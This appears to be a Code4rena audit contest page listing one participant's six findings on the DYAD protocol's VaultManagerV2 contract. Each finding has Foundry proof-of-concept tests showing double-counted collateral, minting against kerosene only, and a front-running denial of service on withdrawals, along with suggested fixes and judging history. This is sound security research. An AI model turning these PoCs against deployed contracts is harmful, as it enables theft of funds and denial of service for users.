Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 44/183
Findings: 6
Award: $282.08
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Maroutis
Also found by: 0x486776, 0xShitgem, 0xabhay, 0xleadwizard, 0xlemon, 0xnilay, 0xtankr, 3docSec, AM, Aamir, Abdessamed, Al-Qa-qa, AlexCzm, Circolors, CodeWasp, Daniel526, Egis_Security, Emmanuel, Giorgio, Honour, Hueber, Infect3d, Krace, KupiaSec, LeoGold, Limbooo, PoeAudits, SBSecurity, SpicyMeatball, T1MOH, The-Seraphs, TheSavageTeddy, TheSchnilch, Topmark, VAD37, ZanyBonzy, adam-idarrha, bhilare_, btk, carlitox477, cinderblock, dimulski, falconhoof, grearlake, gumgumzum, iamandreiski, itsabinashb, josephdara, ke1caM, kennedy1030, ljj, n0kto, n4nika, neocrao, oakcobalt, petro_1912, pontifex, poslednaya, shaflow2, shikhar229169, web3km, ych18, zhaojohnson, zigtur
0.2831 USDC - $0.28
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L67-L78 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L80-L91 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L241-L286
An attacker could deposit collateral into the ethVault and add this vault as a vault for his DNFT id (see 1st Github link). Now he could also add the same vault as a Kerosene Vault (see 2nd Github link). If the total value of all collateral is calculated with getTotalUsdValue, the collateral that actually only exists in one vault is counted twice because the vault appears twice in the DNFT position (see 3rd Github link)
Here is a POC that can be added to the file test/fork/v2.t.sol
and started with this command forge test --mt testPOC2 --rpc-url https://eth-mainnet.g.alchemy.com/v2/<API_KEY>
. Before the POC can be started, these imports must be added:
import {ERC20} from "@solmate/src/tokens/ERC20.sol"; import {DNft} from "../../src/core/DNft.sol";
function testPOC2() public { //Setup address alice = address(1); Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER); vm.prank(MAINNET_OWNER); licenser.add(address(contracts.vaultManager)); deal(MAINNET_WETH, alice, 100 ether); deal(alice, 100 ether); //POC vm.startPrank(alice); uint256 id = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(alice); //alice mints DNFT ERC20(MAINNET_WETH).approve(address(contracts.vaultManager), 1 ether); contracts.vaultManager.deposit(id, address(contracts.ethVault), 1 ether); //alice deposits 1 weth contracts.vaultManager.add(id, address(contracts.ethVault)); //eth vault is added as a vault contracts.vaultManager.addKerosene(id, address(contracts.ethVault)); //eth vault is added a second time, this time into the kerosene vault mapping uint assetPrice = contracts.ethVault.assetPrice(); uint collateral_in_usd = 1 ether * assetPrice / 1e8; //the actual value of the collateral is calculated here console.log("collateral_in_usd: ", collateral_in_usd); console.log("usd vaule calculated by protocol: ", contracts.vaultManager.getTotalUsdValue(id)); assertEq(contracts.vaultManager.getTotalUsdValue(id) / 2, collateral_in_usd); //this shows that the value the protocol calculates is twice as high as it should be because the collateral is counted twice //Alice now mints DYAD for exactly as much DYAD as she has in real collateral value. //The CR would actually be 1 and the dyad would not be minable, but since //the collateral was counted twice, this position can exist like this contracts.vaultManager.mintDyad(id, collateral_in_usd, alice); assertEq(ERC20(MAINNET_DYAD).balanceOf(alice), collateral_in_usd); //this shows that alice received the DYAD vm.stopPrank(); }
Foundry, VSCode
In the functions add and addKerosene there should be checks whether a vault already exists in one of the two mappings:
if (vaults[id].contains(vault) || vaultsKerosene[id].contains(vault)) revert VaultAlreadyAdded();
This check should be added in both functions.
Invalid Validation
#0 - c4-pre-sort
2024-04-29T08:22:50Z
JustDravee marked the issue as duplicate of #966
#1 - c4-pre-sort
2024-04-29T08:38:03Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-04T09:46:28Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-28T15:28:37Z
koolexcrypto marked the issue as duplicate of #1133
#4 - c4-judge
2024-05-29T07:07:10Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: Maroutis
Also found by: 0x486776, 0xShitgem, 0xabhay, 0xleadwizard, 0xlemon, 0xnilay, 0xtankr, 3docSec, AM, Aamir, Abdessamed, Al-Qa-qa, AlexCzm, Circolors, CodeWasp, Daniel526, Egis_Security, Emmanuel, Giorgio, Honour, Hueber, Infect3d, Krace, KupiaSec, LeoGold, Limbooo, PoeAudits, SBSecurity, SpicyMeatball, T1MOH, The-Seraphs, TheSavageTeddy, TheSchnilch, Topmark, VAD37, ZanyBonzy, adam-idarrha, bhilare_, btk, carlitox477, cinderblock, dimulski, falconhoof, grearlake, gumgumzum, iamandreiski, itsabinashb, josephdara, ke1caM, kennedy1030, ljj, n0kto, n4nika, neocrao, oakcobalt, petro_1912, pontifex, poslednaya, shaflow2, shikhar229169, web3km, ych18, zhaojohnson, zigtur
0.2831 USDC - $0.28
With a Kerosene Vault, a user should only be able to use Kerosene as excess collateral. For this purpose, a Kerosene vault should actually be added as such using the addKerosene function. The add function is then used to add normal Vaults with collateral such as weth or wsteth, which serve to collateralize the loan and must be used as collateral for each DYAD minted. The problem is that the add function only validates the vault with the vaultLicenser, which also stores the Kerosene Vaults (see GitHub link). This means that a Kerosene Vault can also be added as a regular Vault, making it possible to create a loan where only Kerosene is used as collateral, instead of weth or wsteth.
Here is a POC that can be added to the file test/fork/v2.t.sol
and started with this command forge test --mt testPOC6 --rpc-url https://eth-mainnet.g.alchemy.com/v2/<API_KEY> -vv
. Before the POC can be started, these imports must be added:
import {DNft} from "../../src/core/DNft.sol"; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; import {Dyad} from "../../src/core/Dyad.sol"; import {Kerosine} from "../../src/staking/Kerosine.sol";
Another step needs to be taken before the POC can run successfully. MAINNET_DYAD and MAINNET_KEROSENE needs to be set to the address of dyadMock and kerosineMock in the src/params/Parameters.sol
file, otherwise DYAD and Kerosene will be forked from the Mainnet where DYAD and Kerosene are already being minted, which messes up the calculation of the kerosene price. To do this, simply run the setup part of the POC, then copy the address of dyadMock and kerosineMock and paste it into MAINNET_DYAD and MAINNET_KEROSENE and then start the entire POC.
function testPOC6() public { //Setup address alice = address(1); address bob = address(2); Dyad dyadMock = new Dyad(Licenser(MAINNET_VAULT_MANAGER_LICENSER)); vm.prank(MAINNET_OWNER); Kerosine kerosineMock = new Kerosine(); console.log("dyadMock address: ", address(dyadMock)); console.log("kerosineMock address: ", address(kerosineMock)); Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER); vm.prank(MAINNET_OWNER); licenser.add(address(contracts.vaultManager)); vm.prank(MAINNET_OWNER); ERC20(MAINNET_KEROSENE).transfer(bob, 10_000 ether); deal(MAINNET_WETH, alice, 100 * 10**18); deal(alice, 100 * 10**18); //POC //alice's position is only there because there has to be some TVL in the system so that the kerosene price is not zero vm.startPrank(alice); uint256 id = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(alice); //alice mints a DNFT to enter the system ERC20(MAINNET_WETH).approve(address(contracts.vaultManager), 10 ether); contracts.vaultManager.deposit(id, address(contracts.ethVault), 10 ether); //alice deposits weth vm.stopPrank(); vm.startPrank(bob); uint256 id_bob = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(bob); //bob mints a DNFT to enter the system ERC20(MAINNET_KEROSENE).approve(address(contracts.vaultManager), 10_000 ether); contracts.vaultManager.deposit(id_bob, address(contracts.unboundedKerosineVault), 10_000 ether); //bob deposits kerosene contracts.vaultManager.add(id_bob, address(contracts.unboundedKerosineVault)); //bob adds the kerosene vault as a normal vault console.log("Non Kerosene Collateral: ", contracts.vaultManager.getNonKeroseneValue(id_bob)); //This shows that the kerosene in bob's position counts as a non-kerosene collateral contracts.vaultManager.mintDyad(id_bob, 3000 ether, bob); //bob mints only with kerosene as collateral DYAD vm.stopPrank(); }
Foundry, VSCode
It should use the keroseneManager instead of the vaultLicenser to validate, as here the vaults added are used to calculate the TVL, which are WETH and WSTETH, not the Kerosene vaults:
- 75: if (!vaultLicenser.isLicensed(vault)) revert VaultNotLicensed(); + 75: if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed();
Invalid Validation
#0 - c4-pre-sort
2024-04-29T05:27:07Z
JustDravee marked the issue as duplicate of #966
#1 - c4-pre-sort
2024-04-29T08:38:06Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-04T09:46:26Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-29T11:19:48Z
koolexcrypto marked the issue as duplicate of #1133
#4 - c4-judge
2024-05-29T14:03:31Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: Limbooo
Also found by: 0xabhay, 0xleadwizard, AM, ArmedGoose, Evo, HChang26, Infect3d, Jorgect, MiniGlome, SpicyMeatball, TheSchnilch, ahmedaghadi, favelanky, pontifex
238.0297 USDC - $238.03
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L143-L143 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L127-L127 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L125-L125
To minimize the risk of flash loans, a check has been implemented to prevent a depositor from withdrawing in the same transaction. Upon depositing, a timestamp for the deposit is stored (see 2nd Github link). Withdrawal is only allowed if the timestamp is not the same as the one in the block where withdrawal occurs (see 1st Github link). The problem here is that anyone can easily update the timestamp since one doesn't need to be the owner of the DNFT for depositing (see 3rd Github link). So, an attacker could frontrun a user who wants to withdraw, make a deposit with an amount of 0, and update their timestamp, causing the user's withdrawal to be reverted. An attacker could repeat this quite often since he doesn't actually deposit anything. If a collaterl token does not allow zero value transfers, the attacker could simply deploy a vault himself and set it in the function so that the user's timestamp is updated but then the attacker's vault is simply called, so he can prevent a transfer from taking place at all, since the attacker would control this vault.
Here is a POC that can be added to the file test/fork/v2.t.sol
and started with this command forge test --mt testPOC1 --rpc-url https://eth-mainnet.g.alchemy.com/v2/<API_KEY>
. Before the POC can be started, these imports must be added:
import {IVaultManager} from "../../src/interfaces/IVaultManager.sol"; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; import {DNft} from "../../src/core/DNft.sol";
function testPOC1() public { // Setup address alice = address(1); address bob = address(2); Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER); vm.prank(MAINNET_OWNER); licenser.add(address(contracts.vaultManager)); deal(MAINNET_WETH, alice, 100 * 10**18); deal(alice, 100 * 10**18); //POC vm.startPrank(alice); uint256 id = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(alice); //alice mints a DNFT ERC20(MAINNET_WETH).approve(address(contracts.vaultManager), 1 ether); contracts.vaultManager.deposit(id, address(contracts.ethVault), 1 ether); //alice deposits weth vm.stopPrank(); vm.roll(block.number + 1); //A block is fast-forwarded so that alice can now withdraw again vm.prank(bob); contracts.vaultManager.deposit(id, address(contracts.ethVault), 0); //bob frontruns alice and makes a deposit in alice's DNFT position so that the timestamp is updated vm.prank(alice); vm.expectRevert(IVaultManager.DepositedInSameBlock.selector); contracts.vaultManager.withdraw(id, address(contracts.ethVault), 1 ether, address(alice)); //alice now wants to withdraw but it doesn't work because her timestamp was updated by bob }
Foundry, VSCode
In the deposit function, isValidDNft
should not be used, but isDNftOwner
should be used instead, so that no attacker can simply update the timestamp of anyone anymore.
DoS
#0 - c4-pre-sort
2024-04-27T11:40:11Z
JustDravee marked the issue as duplicate of #1103
#1 - c4-pre-sort
2024-04-27T11:45:39Z
JustDravee marked the issue as duplicate of #489
#2 - c4-pre-sort
2024-04-29T09:28:45Z
JustDravee marked the issue as sufficient quality report
#3 - c4-judge
2024-05-05T20:38:17Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-05T20:39:22Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#5 - c4-judge
2024-05-05T20:39:25Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#6 - c4-judge
2024-05-05T21:35:51Z
koolexcrypto marked the issue as nullified
#7 - c4-judge
2024-05-05T21:35:56Z
koolexcrypto marked the issue as not nullified
#8 - c4-judge
2024-05-05T21:36:55Z
koolexcrypto marked the issue as not a duplicate
#9 - c4-judge
2024-05-05T21:37:03Z
koolexcrypto marked the issue as duplicate of #1266
#10 - c4-judge
2024-05-08T15:37:48Z
koolexcrypto changed the severity to 3 (High Risk)
#11 - c4-judge
2024-05-11T12:18:35Z
koolexcrypto marked the issue as satisfactory
#12 - c4-judge
2024-05-28T19:12:49Z
koolexcrypto marked the issue as duplicate of #930
🌟 Selected for report: Circolors
Also found by: 0x175, 0x486776, 0xAlix2, 0xSecuri, 0xShitgem, 0xfox, 0xlemon, 0xnilay, 3th, 4rdiii, Aamir, Al-Qa-qa, AlexCzm, Egis_Security, Evo, Honour, Infect3d, Josh4324, Limbooo, Mahmud, SBSecurity, TheSchnilch, ahmedaghadi, alix40, amaron, bbl4de, bhilare_, btk, carrotsmuggler, cinderblock, d3e4, dimulski, dinkras, ducanh2706, iamandreiski, itsabinashb, ke1caM, ljj, sashik_eth, shaflow2, steadyman, web3km, y4y
3.8221 USDC - $3.82
The weth and wsteth vaults have oracles so that the asset price can be calculated. The Kerosene Vaults do not use oracles to get the Kerosene price but calculate it based on the TVL and the denominator:
uint tvl; address[] memory vaults = kerosineManager.getVaults(); uint numberOfVaults = vaults.length; for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[i]); tvl += vault.asset().balanceOf(address(vault)) * vault.assetPrice() * 1e18 / (10**vault.asset().decimals()) / (10**vault.oracle().decimals()); } uint numerator = tvl - dyad.totalSupply(); uint denominator = kerosineDenominator.denominator(); return numerator * 1e8 / denominator;
So there is no oracle for the kerosene price the price is simply calculated. This means that there is also no variable in the Kerosene Vaults where an Oracle is stored. The issue is that in the withdraw function, no matter which asset you want to withdraw, _vault.oracle().decimals()
is queried:
uint value = amount * _vault.assetPrice() * 1e18 / 10**_vault.oracle().decimals() //@audit oracle is used / 10**_vault.asset().decimals();
When one attempts to withdraw kerosene, there's a revert because kerosene vaults don't have an oracle variable. The impact is simply that users have no opportunity to withdraw their deposited kerosene.
Foundry, VSCode
The problem could be solved by carrying out an if query to calculate the value as to whether the vault from which the withdraw is being drawn is licensed by KeroseneManager. If the vault is licensed there, it means that it is weth or wsteth and there is an oracle. If the vault is not licensed by keroseneManager then it is either the unbounded or bounded Kerosene Vault which does not have an oracle. You could simply use 1e8 for the oracle decimals because the price is returned from both vaults with this number of decimals:
uint256 value; if (keroseneManager.isLicensed(vault)) { value = amount * _vault.assetPrice() * 1e18 / 10**_vault.oracle().decimals() / 10**_vault.asset().decimals(); } else { value = amount * _vault.assetPrice() * 1e18 / 1e8 / 10**_vault.asset().decimals(); }
Other
#0 - c4-pre-sort
2024-04-26T21:35:27Z
JustDravee marked the issue as duplicate of #1048
#1 - c4-pre-sort
2024-04-28T18:39:22Z
JustDravee marked the issue as duplicate of #830
#2 - c4-pre-sort
2024-04-29T08:44:36Z
JustDravee marked the issue as sufficient quality report
#3 - c4-judge
2024-05-11T20:05:14Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: 0xAlix2
Also found by: 0xfox, 0xlemon, 0xnev, 3docSec, Aamir, Abdessamed, Dudex_2004, Egis_Security, Evo, FastChecker, Honour, Jorgect, KupiaSec, Limbooo, MrPotatoMagic, SpicyMeatball, TheSchnilch, alix40, bhilare_, favelanky, forgebyola, ke1caM, kennedy1030, koo, oakcobalt, petro_1912, shikhar229169
32.4128 USDC - $32.41
if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();
This check in the withdraw function ensures that there is enough non-kerosene value to back the minted dyad of a position. However, it is not taken into account that when Kerosene is withdrawn, it has no effect on the non-Kerosene value. The problem is that the value, which in this case would be the value of Kerosene, is subtracted from the non-Kerosene value. This can lead to a revert due to underflow, as Kerosene should be withdrawable even if no non-Kerosene token has been deposited into the position. This means that a user can only withdraw their Kerosene if they have more collateral value in non-Kerosene collateral than the Kerosene they want to withdraw. (It must be noted that the error in the code exists, but it has no impact at the moment because withdrawing Kerosene reverts before this check is reached due to another bug that has to do with the fact that Kerosene Vaults do not have an oracle. I thought it would still make sense to inform the developers about this bug.)
getNonKeroseneValue
for this position now, it would be null since no non-kerosene collateral was deposited.value
would be 100$ and getNonKeroseneValue
would be 0 and there would be a revert in the check.Foundry, VSCode
This check should only be performed if non-kerosene collateral is withdrawn that is also used by the user as collateral in their position. This still ensures that the position is not below the CR because following this check, the collateral ratio is also verified
if (vaults[id].contains(vault)) { if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat(); }
Other
#0 - c4-pre-sort
2024-04-26T21:11:26Z
JustDravee marked the issue as duplicate of #397
#1 - c4-pre-sort
2024-04-29T08:48:15Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:23:01Z
koolexcrypto marked the issue as satisfactory
#3 - c4-judge
2024-05-13T18:33:04Z
koolexcrypto changed the severity to 3 (High Risk)
🌟 Selected for report: 0xAlix2
Also found by: 0x486776, 0xabhay, 0xlucky, 0xtankr, Abdessamed, Circolors, CodeWasp, DarkTower, Egis_Security, Giorgio, Infect3d, Krace, KupiaSec, Limbooo, Maroutis, NentoR, Ryonen, SpicyMeatball, T1MOH, TheFabled, TheSavageTeddy, TheSchnilch, VAD37, XDZIBECX, btk, carrotsmuggler, cu5t0mpeo, dimulski, gumgumzum, iamandreiski, imare, itsabinashb, ke1caM, kennedy1030, lian886, n4nika, oakcobalt, sashik_eth, shaflow2, steadyman, web3km, windhustler, zhaojohnson
3.8221 USDC - $3.82
To calculate the price of kerosene, the excess collateral is divided by the kerosene denominator. The DYAD total supply is subtracted from the TVL to determine how much excess collateral there is. But the TVL is calculated only from the collateral of the V2 Vaults.(see GitHub link). Since DYAD was already minted in v1, the subtraction reverts due to an underflow. The current total supply of DYAD at the time of the report is approximately 632,000. So this function would not revert anymore only if the TVL of v2 is greater than the total supply, and even then the calculation would still be incorrect. This function is then used in the calculation of the collateral ratio (CR) when a kerosene vault is added to a user's position. This causes the CR calculation to revert, and thus also liquidate, redeemDyad, mintDyad, withdraw.
Here is a POC that can be added to the file test/fork/v2.t.sol
and started with this command forge test --mt testPOC3 --rpc-url https://eth-mainnet.g.alchemy.com/v2/<API_KEY> -vv
. Before the POC can be started, these imports must be added:
import {Dyad} from "../../src/core/Dyad.sol";
function testPOC3() public { console.log("dyad total supply: ", Dyad(MAINNET_DYAD).totalSupply()); //the current total supply DYAD contracts.unboundedKerosineVault.assetPrice(); //reverts with an underflow because the total supply of DYAD is larger than the tvl in v2 because of v1 }
Foundry, VSCode
Other
#0 - c4-pre-sort
2024-04-28T06:11:21Z
JustDravee marked the issue as duplicate of #308
#1 - c4-pre-sort
2024-04-29T09:05:09Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T20:08:58Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: carrotsmuggler
Also found by: 0xAlix2, 0xSecuri, 0xleadwizard, 0xlemon, 0xtankr, 3th, Aamir, Abdessamed, Bauchibred, Circolors, Egis_Security, Evo, Hueber, Mahmud, SBSecurity, TheSavageTeddy, TheSchnilch, Tychai0s, alix40, bbl4de, btk, d3e4, ducanh2706, falconhoof, itsabinashb, ke1caM, lian886, n4nika, oakcobalt, pontifex, sashik_eth, steadyman, tchkvsky, zhuying
3.7207 USDC - $3.72
In the VaultManager a user should be able to add kerosene vaults. However, this is not possible at the moment because the wrong licenser is used in the function addKerosene to validate the kerosene vaults (see Github link). The kersoeneManager is used as the licenser there. However, the keroseneManager only adds the vaults that are needed to calculate the TVL, the weth vault and the wsteth vault. Since there is no Kerosene Vault added there, none can be added to a position using the addKerosene function. Instead, the same licenser should be used as with the normal add function, since the KeroseneManager can only contain the vaults that are needed to calculate the TVL, but Kerosene Vaults are not included. This bug means that the system is severely limited because users cannot add Kerosene vaults, for which version 2 was actually made.
Here is a POC that can be added to the file test/fork/v2.t.sol
and started with this command forge test --mt testPOC5 --rpc-url https://eth-mainnet.g.alchemy.com/v2/<API_KEY>
. Before the POC can be started, these imports must be added:
import {ERC20} from "@solmate/src/tokens/ERC20.sol"; import {DNft} from "../../src/core/DNft.sol"; import {IVaultManager} from "../../src/interfaces/IVaultManager.sol";
function testPOC5() public { //Setup address alice = address(1); Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER); vm.prank(MAINNET_OWNER); licenser.add(address(contracts.vaultManager)); vm.prank(MAINNET_OWNER); ERC20(MAINNET_KEROSENE).transfer(alice, 10_000 ether); deal(alice, 100 * 10**18); //POC vm.startPrank(alice); uint256 id = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(alice); //alice mints a DNFT to enter the system ERC20(MAINNET_KEROSENE).approve(address(contracts.vaultManager), 10_000 ether); contracts.vaultManager.deposit(id, address(contracts.unboundedKerosineVault), 10_000 ether); //alice deposits kerosene in the unbounded kerosene vault vm.expectRevert(IVaultManager.VaultNotLicensed.selector); contracts.vaultManager.addKerosene(id, address(contracts.unboundedKerosineVault)); //alice now wants to add the unboundedKerosineVault to her position //so that the kerosene is available, but that doesn't work because the wrong licenser is used vm.stopPrank(); }
Foundry, VSCode
It should be ensured that the Kerosene vault is NOT licensed in the KeroseneManager, as it would be weth or wsteth, which are not Kerosene vaults, and the vaultLicenser should also be used to ensure that the vault is licensed at all:
- 88: if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed(); + 88: if (keroseneManager.isLicensed(vault) || !vaultLicenser.isLicensed(vault)) revert VaultNotLicensed();
Other
#0 - c4-pre-sort
2024-04-29T05:27:11Z
JustDravee marked the issue as duplicate of #70
#1 - c4-pre-sort
2024-04-29T09:36:59Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:58:53Z
koolexcrypto marked the issue as satisfactory
#3 - c4-judge
2024-05-13T18:36:27Z
koolexcrypto changed the severity to 2 (Med Risk)